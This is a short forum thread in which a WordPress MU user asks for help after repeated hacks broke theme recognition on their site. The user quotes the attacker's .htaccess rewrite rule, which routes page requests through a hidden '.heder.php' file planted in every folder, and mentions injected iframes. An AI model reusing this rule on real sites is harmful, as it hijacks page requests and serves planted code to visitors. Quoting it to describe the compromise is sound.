WordPress MU

My site has been hacked several times and the theme folders were altered. I have re-installed the themes manually (following the instructions to the letter) but WPMU is not recognising them in the admin page neither can I browse for themes to upload them and do an automatic install. I think I have some files missing from my install is there a list of files that should be on my installation. My installation is 2.8.4a

Emm, would be difficult to suggest anything not seeing the situation 'from inside'.

First of all, are you on shared hosting or do you have a server?
Later, how/what was hacked? Did you restore everything from backups after the hack?

In other words, more info, please :)

It is a shared server at mediatemple.
I repaired the site manually by overwriting the damaged files. htaccess had been amended as #mmmmd
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} !.heder.php
RewriteRule (.*)\.(php|html|htm|php3|phtml|shtml) \.heder.php?%{QUERY_STRING}&qq=$1.$2 [NC,L]
</IfModule>
This heder file had been placed in every folder and every index page had an iframe pointing to another website.. I suspect the hacker managed to get my ftp password from Filezilla which has now been changed and removed from filezilla.

The database is ok or appears to be but I cannot change from the classic theme even by uploading manually.

I think it's needed to look at all that 'from inside' :)